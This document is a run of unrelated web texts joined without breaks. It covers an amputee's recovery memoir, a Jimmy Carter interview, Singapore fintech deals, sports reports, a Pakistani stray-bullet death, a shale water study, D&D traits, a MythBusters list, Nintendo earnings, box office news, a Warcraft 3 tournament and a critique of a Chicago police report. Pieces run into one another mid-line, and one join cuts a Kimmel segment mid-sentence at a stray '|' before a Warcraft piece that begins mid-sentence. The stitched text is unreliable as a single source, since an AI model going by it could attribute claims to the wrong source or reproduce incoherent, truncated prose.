The first thing I solidly remember from the ordeal happened a few days after losing my leg. My dad sat next to me in the hospital room, gently took my hands into his own and held them up so I could see them. My hands were dark purple and black and looked unrecognizable. Drugs I was taking, called vasopressors, had tightened my blood vessels and raised my blood pressure to keep adequate blood flow to my organs. But as a consequence, my hands and feet lost blood, and my risk for infection was high.
“Aimee, these hands are not healthy,” my dad explained. “They are hampering your progress. The doctors want to amputate them and your foot today to assure your best possible chance of survival.”
It was really hard to hear, but at that moment, all I wanted was to live. If my hands could hurt the rest of my body, then take them off. “Let’s do this,” I told my parents.
During the surgeries I was given a lot of painkillers, so everything felt hazy. It wasn’t until the medication wore off and I started physical therapy a few weeks later that I truly began to grieve the loss of my limbs. As I was learning to feed myself, brush my teeth and get dressed with no hands, it dawned on me that this was going to affect the rest of my life. But I was determined to move forward, and thanks to a supportive community around me, I pushed through the pain. I attended a 51-day rehabilitation program at the Shepherd Center in Atlanta, where I worked to rebuild my strength. It felt like boot camp. I spent hours learning how to get in and out of my wheelchair, and eventually I was fitted with prosthetics. Soon enough I was baking brownies and making jewelry.
Copeland after her surgeries. Courtesy Aimee Copeland
My experience, and my positive outlook, gained a lot of media attention. I’m glad my story was inspiring, but I worry that people think I was happy-go-lucky the entire time. I cried a lot and went through a really dark period. My self-esteem was shot. I was going through withdrawal from all the painkillers I stopped taking, and my boyfriend and I broke up. The trauma of what we both experienced was just too much. I felt like I lost my best friend.
But these traumas, both physical and emotional, did not hold me back. When physical therapy was over, I finished school and obtained my master’s in psychology like I had always planned. After that, I got my social work license. I began interning at the Shepherd Center—the same rehab center where I was initially treated—and helped other people cope with injuries similar to my own.
Just a couple months ago, I began my first private practice job at Heartwork Counseling Center, where I now work as a psychotherapist. It’s extremely rewarding, and I think I have the best job in the whole world. In January, I started a non-profit called the Aimee Copeland Foundation, and my goal is to create a nature park that’s accessible to people with disabilities. Even before my accident, I wanted to use nature as a therapy. I remember lying in my hospital bed thinking, I can’t take people on hikes anymore without legs. That’s why I want to create a space that I and others can use to garden, hike and meditate.
Of course, not everything is easy. I still see a therapist regularly, and getting back into the dating game was hard to say the least. I did meet someone special though, and we’ve been together for two years now. Having a partner that loves me has helped heal my self-esteem.
People want to feel sorry for me, but I have an awesome life. I’ve learned to be grateful for the pain because it has helped me grow. I completely trust in the universe now. So much has been taken away from me. What do I have to fear?
Contact us at editors@time.com.Former US president Jimmy Carter said that the two-state solution has “zero chance” of being realized today, and blamed this on Prime Minister Benjamin Netanyahu, in a wide-ranging interview with Prospect Magazine Thursday.
Carter accused Netanyahu of adopting a “one-state solution,” and lamented that the “US had withdrawn” from making further efforts. He further accused the Jewish state of denying Palestinians equal rights, but stopped short of labeling Israel an apartheid state, a term he utilized in his 2006 book, Palestine: Peace Not Apartheid.
“These are the worst prospects for peace between Israel and the Palestinians for years. At this moment, there is zero chance of the two-state solution,” Carter said.
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Carter, who served as US president from 1977 to 1981, said he believes that Netanyahu has no intention of pursuing peace, and lamented that “They [Palestinians] will never get equal rights [to Israeli Jews, in a one-state solution].”
Netanyahu “does not now and has never sincerely believed in a two-state solution for Israel and Palestine,” Carter added. He noted that when he visited Israel and the West Bank in April, he did not bother to contact Netanyahu for a meeting, on the grounds that “it would be a waste of time to ask” — expecting that the request would be rebuffed as were previous ones.
The former president and Nobel Peace Prize winner gave the interview ahead of the launch of his new book, A Full Life: Reflections at 90, and shortly after he announced Wednesday that he has been diagnosed with cancer. He will turn 91 in October.
Responding to a question on the use of the term apartheid in relation to Israel, Carter said that he is “reluctant to use that word in a news article” but asserted that the argument has legitimacy because of demographic changes in Israel and the West Bank.
Either “Palestinians will have a majority in government, or you deprive them of equal rights,” he noted, suggesting that the Jewish state would not accept a Palestinian political majority.
He also praised the Iranian nuclear accord as “superb,” and said he was confident that Congressional Democrats would support the bill, adding that he hoped that the US’s “relations with Iran can improve.”
Carter served as commander in chief during the 444-day hostage crisis in the US embassy of Tehran, ahead of the Islamic revolution in Iran in 1979. The 52 American embassy officials held by Iran were released hours after Carter left office, following his major defeat to Ronald Reagan at the polls.
Adding that he remained unfazed by the prospect of nuclear proliferation in the Middle East, Carter pointed to Israel’s reported nuclear weapons program. He said that Israel had “at least 150 to 200” nuclear weapons, repeating “at least.”
Israel maintains a policy of ambiguity, never confirming or denying having nuclear weapons. Officials only say Israel will not be the first country to introduce nuclear weapons to the region.Singapore's Central Bank Creates Financial Tech Partnerships
Singapore has become a hotbed for financial technology and blockchain innovation. This week, the Monetary Authority of Singapore (MAS) has conceived two joint ventures that aim to progress blockchain research and development in Southeast Asia.
Also read: Singapore Banking Industry Looks to Fintech & Blockchain
Monetary Authority of Singapore & Government of Andhra Pradesh Partner in a Blockchain Joint Venture
According to MAS letters of intent, the central bank of Singapore will collaborate with India and South Korea on distributed ledger projects.
The first partnership began with authorities from the Indian region of Andhra Pradesh (GoAP). The organizations are aiming their focus on cryptocurrency solutions and the academic research related to distributed ledgers. The first agreement states:
“Under the agreement, MAS and GoAP will explore joint innovation projects on technologies such as digital payments and blockchain, and collaborate on the development of education programs/curricula on FinTech. MAS and GoAP also agreed to discuss emerging FinTech trends and exchange views on regulatory issues related to innovations in financial services.—From MAS’ perspective, we are looking to create a marketplace in India for FinTech solutions developed in Singapore. This can potentially help Singapore FinTech startups that are looking to venture into India.”
Two Days Later, The Monetary Authority of Singapore and the Korean Financial Services Commission Sign a Cooperation Agreement
Following the deal with GoAP, the Monetary Authority of Singapore also formed a partnership with the Korean Financial Services Commission (KFSC) to “foster fintech.”
MAS will cooperate with KFSC to help build a framework that will explore “potential joint innovation projects on technologies.” Technology interests include Big Data architecture, mobile payments, and current fintech trends.
Singapore banks, corporations and promising startups have already been laying financial technology foundations in the region. Sopnendu Mohanty, chief fintech officer, MAS, believes the initiative will lay the “groundwork for deeper FinTech collaboration between Singapore and South Korea.”
Mohanty says Singapore’s vibrant fintech ecosystem will make it a natural choice for Korean fintech businesses and neighboring markets. KFSC executives agree with Mohanty and look forward to the cooperative effort.
“This agreement is an important step forward in enhancing the financial relationship between Korea and Singapore,” said Hoon Choi, director general of banking and insurance bureau, KFSC.
“We hope that the agreement serves as a stepping stone for FinTech firms from both Korea and Singapore alike to expand their business globally.”
Singapore’s Financial Tech Interest Is Growing Exponentially
The Monetary Authority of Singapore has moved towards blockchain and fintech for over a year. In June 2015, managing director Ravi Menon revealed the central bank’s plan to invest $225 million USD into the fintech space.
Additionally, in August of 2016, the Singaporean United Overseas Bank (UOB) started its own fintech accelerator program. The blockchain smart contracts project Attores was included in the accelerator program.
Interest in the financial tech space has grown rapidly in the region and surrounding Southeast Asian countries. One thing is for sure: these countries are looking to become leaders within the emerging economy of financial technology.
What do you think about the Monetary Authority of Singapore partnership with India and South Korea? Let us know in the comments below.
Images via MAS, Pixabay, and the Korean Financial Services Commission.
Did you know Bitcoin.com is holding a blockchain conference in London this year? Our premiere event, Blockchain: Money, features the biggest innovators and executives in the industry. The event also takes place in the beautiful surroundings of 155 Bishopsgate, London on November 6-7, 2016. Reserve your tickets today!The son of a fallen deputy in Greeley, Colorado was given his father's car after a generous man bought the car at an auction.
Deputy Sam Brownlee lost his life in November 2010 during a shootout while on duty. Brownlee's patrol vehicle was a 2010 Dodge Charger, which is currently valued at approximately $12,500, KUSA reports.
See also: Colorblind dad tears up after seeing true colors for the first time
After five years, Brownlee's vehicle finally went to a public auction, the proceeds of which will go towards the Concerns of Police Survivors, an organization that benefits the families of fallen officers, including the Brownlee family.
The auction, which occurred on Wednesday, greatly surpassed the value of the car. And although Brownlee's son Tanner, who was 15 at the time of his father's death, did attempt to purchase the car, a man named Steve Wells won the high bid with $60,000.
After accepting the keys, Wells turned to Tanner who was in the crowd and said, "Tanner, here's your car," and handed the keys over.
"This is just so huge, having something I can use and drive around that he drove around. It just means a lot," Tanner told KUSA.
Wells, a rancher who "owns thousands of acres of oil-rich land in Wells county," had never met Tanner before the auction.We peg potential Cinderella candidates based off the progress they've made during the offseason, knowing that offseason champions rarely captivate us in January and February. But some teams are being built the right way, which is why we'll break down the five trendiest Cinderella candidates for the 2016 season and determine if they're worth looking out for.
Jacksonville Jaguars
2015 record: 5-11
2016 projected record: 9-7
Why we believe
Jacksonville made the leap on offense last year. Blake Bortles finished seventh in passing yards, second in passing touchdowns and completed nearly 60 percent of his attempts. The team has two legitimate emerging stars at wide receiver (Allen Hurns and Allen Robinson) and will continue to work tight end Julius Thomas into the fold. The plan this offseason was to reinforce the defense, which has finished inside the bottom six in scoring defense each season under coach Gus Bradley. By all accounts, general manager Dave Caldwell has made big strides in improving the league's 24th-ranked defense. By spending at the absolute top tier of the defensive free agency class, Caldwell locked down a piece in Malik Jackson who can play several positions and fit wherever Bradley needs him. It also allows Bradley flexibility with 2015 first-round pick Dante Fowler. Without counting on production from their top 2016 picks like Jalen Ramsey, who is dealing with a small meniscus tear in his right knee, and Myles Jack (or Fowler for that matter) the Jaguars also plugged holes by spending wisely on the market's back end. Prince Amukamara was a steal at $3 million guaranteed, assuming he stays healthy. Safety Tashaun Gipson was in line for a massive payday before a 2015 season in which a confused Browns defense took a step back and unfairly tainted his value. At 25, he can be a potential cornerstone player.
This is the closest Bradley has gotten to a top-tier defense, which means the Jaguars should be in line for a marked improvement. Last year, Jacksonville lost six of its 10 games by a touchdown or less. Assuming that number can be cut down by a stronger defense, are nine wins as crazy as it sounds?
Why we still have questions
Bortles threw 18 interceptions last year, which is a lot. However, many games were placed squarely on his shoulders and something should be said about his willingness to take chances in the fourth quarter (the same thing many people have said about Eli Manning throughout his career). Twenty-six of his 35 interceptions occurred with the Jaguars trailing by eight points or more, and 26 came in either the second or fourth quarters -- so going for it won't be a problem moving forward. This season should definitively tell us which type of trajectory Bortles is on. We're sure the Jaguars would take a Manning-type ascension, which would mean cutting that interception number in half and increasing his completion percentage by a few points over the next two seasons.
On film and in person, there were plays Bortles made last year that defied his age. This helps us put some of his interceptions in context. Flashes during his rookie campaign were a major reason why he was a Making The Leap candidate before last season.
What we need to know
1. Can the Jaguars improve their power running game? The team signed Chris Ivory in free agency, and while his yards per attempt always has been impressive, he is entering his age 28 season as a power back that just set career highs in carries per game and total attempts.
2. Will the offensive line take a step forward? The team is taking the pragmatic route with former No. 2 overall pick Luke Joeckel, and likely will begin the season with Kelvin Beachum as their starting left tackle and Jermey Parnell on the right. The emergence of players like A.J. Cann and the movement of Brandon Linder to center should add an interesting blend of veteran experience to the fold and allow the Jaguars to move forward with a group they're more confident in.
3. Where does Myles Jack fit? He is projected as a WILL linebacker at the NFL level, though our own NFL Media scouting report listed him as an adept pass rusher in sub packages, too (with the speed to remain on field during nickel situations). The team certainly hopes he'll never have to come off the field, but if he does, who's the odd man out? The team has Paul Posluszny in the middle, bracketed by Telvin Smith and Dan Skuta. Like many rookies, Jack might be eased into action, but if he proves worthy of more playing time it will come at the expense of a good player in Jacksonville's base defense.
4. What can we reasonably expect from Fowler? Some analysts (including myself) have thought about projecting him as a double-digit sack player in 2016, but without knowing how the defense will look, we might be getting ahead of ourselves. Scaling back our expectations is important, but Fowler does have the benefit of a pass rush that is much better on paper.
5. Can the Jaguars surprise us? Good teams draft well but also hit on some timely free agents. The team took a smart chance on former first-round pick Bjoern Werner and will make him a "Leo" in Bradley's defense. Werner was made to rush the passer, which is something he rarely did in Indianapolis.Apr 28, 2015; Arlington, TX, USA; Texas Rangers starting pitcher Ross Detwiler (47) delivers to the Seattle Mariners during the first inning of a baseball game at Globe Life Park in Arlington. Mandatory Credit: Jim Cowsert-USA TODAY Sports
Box score
ARLINGTON — As they head into the final game of the first month of the season against perhaps the greatest AL pitcher of this generation, the Rangers are facing history.
They are looking at their worst offensive month since the AL started using a DH.
After a 2-1 loss to Seattle on Tuesday, the Rangers’ batting average stood at.212 for April. Since 1973, the lowest batting average for any month was in April 1988 at.224. To avoid setting the record, all the club has to do is have an absolute rout of … King Felix Hernandez on Wednesday.
“The offense has been a little scratchy,” shortstop Elvis Andrus said. “We’re creating opportunities. We just aren’t getting the big hit. We have to stay positive and stay in the present. We can’t think about what has happened.”
Andrus went 1 for 4 on Tuesday and is hitting.226. He qualifies as an offensive expert on this team. Among those in Tuesday’s lineup, only Prince Fielder (.350) and Leonys Martin (.235) had higher averages by the end of the day.
Andrus also struck out on a slurve-y pitch from J.A. Happ to end the third with a runner at second. It was one of 11 strikeouts by the Rangers. Two of those came in the club’s four at-bats with runners in scoring position. The Rangers are hitting.198 with runners in scoring position for 151 at-bats this season; they are 4 for 38 over their last six games.
In addition, Tuesday marked the seventh time in the first 20 games the Rangers had scored one or zero runs. In the DH Era, the only other time they were held to one or no runs seven times was also in 1988.
In case you were wondering, the 1988 team went 70-91.
The offensive struggles have been the only consistent aspect of the team. It begged this question: Are the Rangers grasping the “message” manager Jeff Banister and hitting instructor Dave Magadan are preaching?
“The message stays the same,” said Banister, who has used 20 different lineups in 20 games. “You go up, you battle. You look for a pitch to drive. … It’s a long season. This is not the April we set out to have. But you don’t look back. You only play the game in front of you. “
Said Magadan, who is in his third season as hitting instructor: “They haven’t forgotten how to hit. Sometimes they put too much pressure on themselves and it carries over to other at-bats, but they haven’t forgotten how to hit.”
“It’s just unheard for so many guys to be struggling at the same time, especially with men on base,” Magadan added. “When guys struggle, it puts pressure on guys at the back of the lineup to do stuff for you. You need contribution from them, but you don’t want to be counting on them for your offense.”
Perhaps the best example of adding pressure was Adam Rosales’ fourth-inning at-bat against Happ with two on and two out. Rosales followed Jake Smolinski after Smolinski walked. Rosales fought his way back from a 1-2 count after a pair of Happ curves bit the dirt. But, when Happ came back with a fastball on the outside corner, Rosales watched it for a called third strike.
“A couple of called third strikes with guys on base were unwarranted,” Banister said. “Happ made some pretty nice pitches, but you’ve got to continue to battle. I think our two-strike approach could have been a little better.”
On Wednesday, facing their worst offensive start in modern history, all the Rangers have to do is improve that two-strike approach.
Against Felix Hernandez.
They ought to get plenty of opportunities. The last time they faced Hernandez, 10 days ago, he struck out a dozen Rangers.
GAME REPORT
The arms: LHP Ross Detwiler sawed off Robinson Cano’s bat with a sinker in to end the third inning. Cano grounded weakly to first. … Detwiler allowed a homer to Rickie Weeks on a 1-2 pitch in the fourth. It was the third homer he has allowed with two strikes, tied for the most in the AL. … RHP Anthony Bass, called on with a runner on base and one out in the sixth, got a double-play grounder to end the inning then pitched a perfect seventh. …
The bats: The Rangers were hitless in four at-bats with runners in scoring position and are now hitting.198 for 151 such at-bats this season; they are 4 for 38 in those situations in their last six games. … LF Delino DeShields doubled with two outs in the seventh for his first career extra-base hit. … The Rangers have scored one or fewer runs in seven of their first 20 games, tying the most times they’ve done that in the first 20 games in club history. They also did it in 1988.
The gloves: RF Jake Smolinski overran Nelson Cruz’s fly ball into the right field corner and missed it by a good six feet on a jump. It went for a leadoff triple in the fourth. … 1B Adam Rosales made a diving lunch towards the foul line to take away extra bases from Brad Miller.
GAME HIGHLIGHTS
SEATTLE FOURTH: Nelson Cruz led off with a triple into the corner on a ball that was over-run by RF Jake Smolinski. He scored on a ground ball. Rickie Weeks homered. Seattle 2, Rangers 0
RANGERS SEVENTH: Delino DeShields doubled with two outs to break an 0 for 12 streak. Jake Smolinski scored from first. Seattle 2, Rangers 1As soon as the mailman gave me the package, I knew who it was from : Canada stickers theme all over the place! It was so funny when he told me (with a big smile):
"well, this one is coming from far away!".
"Yup, pretty far indeed! And guess what, this is Santa who is sending it to me because I've been a goooood girl!" :D
Of course, I could not wait to open my gift and discovered lovely flamingo paper (I understood my Santa is in love with flamingo :) wrapping the gifts. Papers, stamps, a book and a calligraphy set, sealing wax and tons of stickers!
My Santa not only found wonderful gifts but also share her Canadian pride spirit through national items and I found that very sweet from her! And now, ladies and gentlemen, time for me to taste these maple syrup candies (well, I suppose they are :D)!AN eight year old girl was killed by a stray bullet fired during celebrations to mark Pakistan’s World Cup victory over Ireland, according to a report from Karachi.
The Express Tribune reports that a girl identified only as Misbah was playing with dolls in a yard when killed instantly.
Pakistan sealed a quarterfinal match up with Australia by beating Ireland in Adelaide on Sunday.
“She cared little for the other game the grown-ups were so obsessed with. Cricket bored her. Her dolls were her world. Her instincts were right; cricket took her life in the end,” the Express Tribune wrote.
“That fateful day, Pakistan won the match against Ireland. Misbah lost her life to the aerial shots fired by overzealous fans over Pakistan’s win against Ireland.”
The news website quoted Misbah’s father Rasheed as saying: “ “She was playing in the yard when suddenly she fell on the floor bleeding.
“There was intense firing in the area. Before I could take her inside the room, the bullet had killed her.”
It’s reported the girl was taken to hospital but died before arrival.
Police confirmed to the Expres Tribune that the girl was killed by stray gun fire during a “bout of aerial firing after Pakistan won the match.”
“The family staged a demonstration to protest the incident. Not many people cared to join,” said the Express Tribune.Article Tools Font size – + Share This
Marcellus Shale Complete coverage of natural gas drilling in Northeast Pennsylvania including recently updated searchable database of natural gas drilling leases for Lackawanna, Luzerne and Wyoming Counties (read more)
A recent study by Penn State researchers found that bromide increased in drinking water supplies after nearby Marcellus Shale drilling, leading the authors to suggest tripling the current distance around a natural gas well where drillers are presumed responsible for contamination.
The study of 233 wells in 20 counties, funded by the General Assembly's Center for Rural Pennsylvania, did not find any statistically significant increases in methane or other contaminants common in the wastewater that flows out of natural gas wells after hydraulic fracturing.
With the absence of other hallmark drilling contaminants, the increase in bromide levels recorded in seven of 42 wells "may suggest more subtle impacts to groundwater that need more research," the authors wrote. Bromide alone is not a human health hazard, but elevated levels of it can create cancer-causing compounds when combined with chlorine during drinking water disinfection.
The researchers suggest increasing the distance around a gas well where a driller is presumed responsible for contamination from the current state standard of 1,000 feet to 3,000 feet, as well as establishing a list of required pre-drill testing parameters, including bromide.
Increasing the radius of presumed liability would trigger more water- quality testing in advance of drilling. Gov. Tom Corbett's Marcellus Shale Advisory Commission recommended increasing the distance to 2,500 feet.
"While most water wells, even within 3,000 feet of a Marcellus well, did not have changes in water quality after drilling or hydraulic fracturing, that was the distance where we did sporadically measure increased bromide, sediment or metals," Bryan Swistock, a Penn State water resources extension specialist, said in a statement. "This seems to be the distance that we need to focus on for future testing and research."
Increases in bromide appeared related to the drilling process, not hydraulic fracturing, the researchers found. It is sometimes used as a mud additive and can be stored in pits at drilling sites.
Industry and homeowner pre-drilling water tests rarely include bromide, but the compound "may hold promise as a more sensitive indicator of groundwater impacts since it is typically near or below detectable concentrations in undisturbed groundwater," the authors wrote.
The study also found methane present in a quarter of water wells before gas drilling began nearby, although the concentrations were generally low. About 40 percent of the water supplies failed at least one state safe drinking water standard before gas well drilling occurred, most often because of coliform bacteria, turbidity or manganese.
Contact the writer: llegere@timesshamrock.comLucky: When you roll a 1 on the d20 for an attack roll, ability check, or saving throw, you can reroll the die and must use the new roll.
Brave: Advantage on saving throws against being frightened.
Halfling Nimbleness: You can move through the space of any creature that is of a size larger than yours.
Naturally Stealthy: You can attempt to hide even when you are obscured only by a creature that is at least one size larger than you.
Unarmored Defense: While you are wearing no armor and are not wielding a shield, your AC equals 10 + Dexterity modifier + your Wisdom modifier.
Martial Arts: When unarmed or using monk weapons you can use Dexterity instead of Strength for attack and damage rolls, you can roll d4 for damage instead of normal, and when you use the Attack action you can make a strike as a bonus action. Monk weapons are shortswords and simple melee weapons that don't have the heavy or two-handed property.
FEATURES & TRAITSMythBusters (special episodes) Country of origin Australia
United States No. of episodes 13 Release Original network Discovery Channel Original release March 21, 2004 ( ) –
May 1, 2013 ( 2013-05-01 ) List of MythBusters episodes
The cast of the television series MythBusters perform experiments to verify or debunk urban legends, old wives' tales, and the like. This is a list of the various myths tested on the show as well as the results of the experiments (the myth is Busted, Plausible, or Confirmed).
Special episodes listed here were aired separately to the normal season episodes.
Episode overview [ edit ]
Best of [ edit ]
In 2004, Discovery Channel aired three special episodes, which were a compilation of some of the best animal, electric, and explosion related myths.
Buster's Cut [ edit ]
During 2010, Discovery Channel aired a series of episodes that were titled "Buster's Cut". According to the episode introductions, these were edited reruns of earlier episodes featuring never before seen footage and behind the scenes information.
Episode SP11 – "Young Scientist Special" [ edit ]
Original air date: April 26, 2008 (Science Channel)
A team of winners in Discovery's "Young Scientist Challenge" competitions tested environmental myths with the team. Former MythBuster Scottie Chapman returned to assist with a myth.
Myth statement Status Notes Electric cars are more sluggish than gasoline-powered cars. Busted They first had Jamie drive Brandon (a Young Scientist Challenge winner) in both a gas and electric consumer grade car, and blindfolded Brandon and covered Jamie's ears to see if they could tell the difference. Brandon couldn't tell, but being an experienced driver, Jamie was able to immediately tell based on the electric car's acceleration. Then, Adam, Jamie, and Brandon built an electric go-kart using lithium iron phosphate batteries and tested it against a gas go-kart. Despite weighing twice as much as the gas go-kart, the electric go-kart performed about the same. Then they went to a professional track and watched the KillaCycle, an electric drag motorcycle race against a stock gas motorcycle. The gas motorcycle won by a slight margin. Then they had the X1 electric sports car race against a Ferrari F430, and while the Ferrari's top speed was faster, the electric car accelerated faster and beat it in a drag race. Finally, they had the electric car race against an FJR50 Formula 3 race car. While the Formula 3 car easily beat the electric car, the electric car is considered a "street car", not a race car, and it did well enough that they proclaimed electric cars to be anything but slow.
The Great Ice Debate [ edit ]
Myth statement Status Notes Greenhouse gases increase the amount of heat absorbed by air. Confirmed Airtight containers with carbon dioxide or methane added got one degree Celsius (2 °F) hotter than regular when heated by a hot lamp.
Cattle Calamity [ edit ]
Myth statement Status Notes Cows hurt the environment. Confirmed Cows emit methane—though not mostly from flatulence, but from belching — and their feces emit even more methane once they begin rotting. Since there are so many cows, the methane contributes significantly to global warming. Cow manure can be used to help the environment. Confirmed Cow manure can be used to power things. The Young Scientists helped collect cow manure and extracted methane gas from it. Grant hooked up the methane gas and used it to power a hand lawnmower. They then saw that the farm where they had collected cow manure from received 90% of its electricity from its own manure-powered generator.
BBC Two re-edited shows [ edit ]
This film, television or video-related list is incomplete; you can help by.
BBC Two's editions of MythBusters are narrated by Rufus Hound in an energetic and irreverent style.[citation needed] The episodes only ran for 30 minutes.
Notes
^ Partial; cleaning blood, pennies and chrome, dissolving teeth and steaks ^ Called "Space Dust" in the British narration, as it is the more common name for Pop Rocks in the UK.Nintendo's just released its financial results for the last three months, and while hardware sales have increased substantially, it still made a loss. Wii U sales have rebounded significantly. Following price cuts mid-year, it's added 300,000 more users (almost double the 160,000 sold in the three months prior), but Nintendo remains a long way from its aim of 9 million consoles sold by March 2014. So far, it's sold 3.91 million units total. Software sales hover just below 20 million in total, with Nintendo pointing to strong sales of Pikmin 3 and its Wind Waker remake helping to reach the five million mark. However, as the company frankly put it: "Wii U hardware still has a negative impact on Nintendo's profits," due to that aforementioned mark-down. This has resulted in a net loss of 8,024 million yen (around $82 million), compared to a quarterly profit earlier this year of $88 million.
Meanwhile, handheld gaming continues to boom. Nintendo sold another 2 million 3DS and 3DS XL consoles, putting the current lifetime total at 35 million -- and this is before it sees the fruits of two of its biggest portable game launches: Pokemon and Monster Hunter. Nintendo looks likely to capitalize on its handheld success, with more than a few special edition handhelds coming soon, as well as its cheaper 2DS model, which has already gone on sale. NPD reported last month that Nintendo's 3D handheld (in all its iterations) outsold all other gaming hardware in September. The company has also started testing new different business methods, launching its first online hardware store in the UK. For now, it's likely to remain a testing bed. Nintendo didn't offer up any hints that it'd be expanding the service elsewhere any time soon, although it plans on "accelerating digital distribution of packaged software" across both of its consoles.Christmas Day at the box office is always a gift to the film industry, but yesterday, one studio got to unwrap an especially happy present. Universal’s ambitious adaptation of the beloved operetta Les Misèrables started off with a gross that was anything but miserable, earning a tremendous $18.2 million from 2,808 theaters on Christmas Day. That’s the second best Christmas opening ever behind only Sherlock Holmes, which earned $24.6 million on Christmas 2009 (which was a Friday). Overall, Les Mis achieved the fourth best Christmas Day gross ever. Only Sherlock Holmes, Avatar ($23.9 million on a Friday), and Meet the Fockers ($19.5 million on a Saturday) have done better on Dec. 25.
In short, the Tom Hooper-directed film, which cost a reported $60 million to produce, is off to a remarkable start, and with an A CinemaScore grade and inspirational appeal, it’s set to dominate the box office in the days to come.
Due to the holiday, Weinstein has not reported official numbers for Django Unchained yet, but the Quentin Tarantino western seems to have easily exceeded expectations — estimates have Django earning about $15 million yesterday. Stay tuned to EW for more box office news.On Thursday, President Donald Trump announced that he will pull the United States out of the Paris Agreement on climate change, and Jimmy Kimmel didn't waste any time giving his thoughts on the controversial move.
Opening Thursday night's "Jimmy Kimmel Live!" the host did a hilarious take on Trump's remarks, which took place at the White House's Rose Garden.
"It made sense he did it from the Rose Garden while we still have roses and gardens," Kimmel said.
The announcement by Trump led to business titans Elon Musk and Disney CEO Bob Iger announcing that they would be resigning from Trump's advisory council. Many major corporations like Exxon, Shell, and Walmart had urged Trump to keep the US in the Paris accord.
"Apparently these big companies ran the numbers. It |
, that he will not be preparing as intensely like during his competitive career, but it is for certain a nice breath of fresh air to see him participating in a premier tournament with the strongest players in the world. He will also be the only Western player in the tournament which is none the less a nice gesture to see.
With Jang "Moon" Jae-ho also participating - this will be a blast from the past.
The 8 team captains are pictures above:
Infi, TH000, Grubby, Lyn, Fly100%, 120, ReMinD and Moon
Format:
The format of the tournament is special and needs a bit of explaining, which we will cover now. Nostalgia Battlefield will be a team-based tournament, where 8 players are invited and given the captain bind. The 8 captains will choose 2 qualified players to form a team of three.
These teams will compete in a double elimination bracket, all matches NGL-style best of 5 and the team loses, when no more players in the team are available. If say TH000 loses his match, his two other teammates must beat the rivalling players in order to win. The top four teams of the double elimination bracket will advance into a bubble system, where the winner of the tournament will be decided on Sunday.
The team captains will not be alone. 16 players managed to qualify through an open qualifier on Netease and here are some bigger names, the team captains will be keeping an eye out for: FoCuS, LawLiet, Romantic, Life, WFZ amongst others.
The tournament will be held offline in China, and you will have non-stop Warcraft 3 action for 3 days. This will mean a lot of Warcraft 3 matches, which you should be looking forward to in this weekend.
As always, Back2Warcraft will cover for the English-speaking community and other streams might cover it in your native language. We will bring some of the results in the upcoming articles. We hope you tune in and tell this to all your friends. This will be a memorial tournament!
Hopefully Moon and Grubby will meet along the way.
Schedule:
February 10 - 04.20 CET: Team Draft, WB Quarterfinals & LB Round 1
February 11 - 04.00 CET: Rest of Double Elimination Bracket
February 12 - 04.00 CET: Playoffs (Bubble System)
Liquipedia: http://wiki.teamliquid.net/warcraft/Nostalgia_Battlefield
Back2Warcraft: http://www.twitch.tv/back2warcraftJustice Department report on Chicago police an exercise in damage control
By George Marlowe
17 January 2017
A report released Friday by the US Justice Department details systematic police brutality and unconstitutional practices by the Chicago Police Department (CPD).
While the 161-page report outlines a broad array of horrific practices and crimes committed by the police force, it is an exercise in political damage control and cover-up. Not a single high-level political figure is held to account or charged for crimes by the investigation.
The city of Chicago has been controlled by the Democratic Party for decades with a long history of police violence and torture. The findings of the report, following a 13-month investigation, were announced at a press conference last week with US Attorney General Loretta Lynch alongside Chicago’s Democratic mayor, Rahm Emanuel.
The Justice Department began its investigation of the CPD in December 2015 after the city released a video of a police officer shooting Laquan McDonald 16 times, which triggered widespread unrest and created a political crisis for the Democratic Party. The release of the video of McDonald’s murder was stonewalled by the Emanuel administration for over a year until a court order forced its release, following a Freedom of Information Act request by an independent journalist.
The report’s investigation spans a period from January 2011 to April 2016. It concludes that the CPD engaged in a series of “pattern or practices” that violate the US Constitution. The practices detailed in the report—following similar reports about cities such as Baltimore, Cleveland, Ferguson and New Orleans—are an indictment of the crimes of American capitalism and the state of class relations in the United States.
Some of the CPD’s most egregious and brutal practices described in the report include: deadly and unreasonable use of force; systematic deficiencies and accountability failures; patterns of unlawful conduct; dangerous foot chases that resulted in officers shooting at someone who posed no immediate threat; deadly use of Tasers; deadly force against children; highly militarized police tactical units that terrorize neighborhoods; the manufacturing of false evidence; and witness intimidation.
The report also found that “officers shoot at vehicles without justification”, “exhibit poor discipline when discharging their weapons,” and engage in violent tactics “that endanger themselves and public safety.” Frequently, such tactics are used against people with severe mental illnesses.
Working class youth frequently view the CPD as an “occupying force”, according to the report. One youth revealed to the investigators that his neighborhood was an “open-air prison”, constantly terrorized by the police. Another resident stated that the police operated as marauding gangs: “They patrol our streets like they are the dog catchers and we are the dogs.”
The report notes that city has a systematic policy and practice of impeding investigations. The police accountability institutions are frequently complicit in the whitewashing of crimes committed by police forces. In the five years preceding the Justice Department investigation, the report found that the city of Chicago received over 30,000 complaints of police misconduct. Fewer than 2 percent were sustained, and 98 percent of complaints resulted in no disciplinary actions.
The CPD’s so-called accountability bodies and independent review institutions include the widely-discredited Independent Police Review Authority (IPRA), the Bureau of Internal Affairs (BIA), the Chicago Police Board and the Inspector General. This year, IPRA is slated to be replaced by another oversight organization called the Civilian Office of Police Accountability (COPA), which the report hints will largely be toothless.
According to the report, the CPD’s investigatory bodies do not investigate the majority of cases that it is required to investigate by law. When investigations do occur, the “questioning of officers is often cursory and aimed at eliciting favorable statements justifying the officer’s actions rather than seeking truth.” Moreover, while IPRA handles less than 30 percent of complaints, more than 70 percent of misconduct cases are handled via the BIA, and currently very little is published publicly about these cases.
Additionally, the report noted that it found “many circumstances in which officers’ accounts of force incidents were later discredited, in whole or part, by video evidence.” Moreover, given that there is no video evidence in the vast majority of cases, the report concludes that “the pattern of unreasonable force is likely even more widespread than we were able to discern through our investigation.”
Finally, despite the report painting a picture of systematic police abuse, brutality and murder, it concludes with a series of palliatives and “reforms” that include new mechanisms of police accountability. These include the use of body cameras, new training measures and proposals for “community-oriented policing.” What these really amount to are methods of increased surveillance by the police of working class neighborhoods through the creation of informants.
None of the proposals will address any of the underlying issues of police brutality, let alone the spike in violence in the poorest neighborhoods in Chicago. The proposals and “reforms” are largely couched in law-and-order terms, calling for greater police forces and funding for law enforcement, while the underlying social safety nets for working class youth and neighborhoods have been destroyed.
The real political purpose of the report was underscored by the presence of the Obama administration’s DOJ officials alongside Emanuel at the press conference. Emanuel, a former official in the Obama administration, has presided over a regime of police violence and terror in Chicago. Despite being implicated in the cover-up of the McDonald murder, no charges have been brought against him.
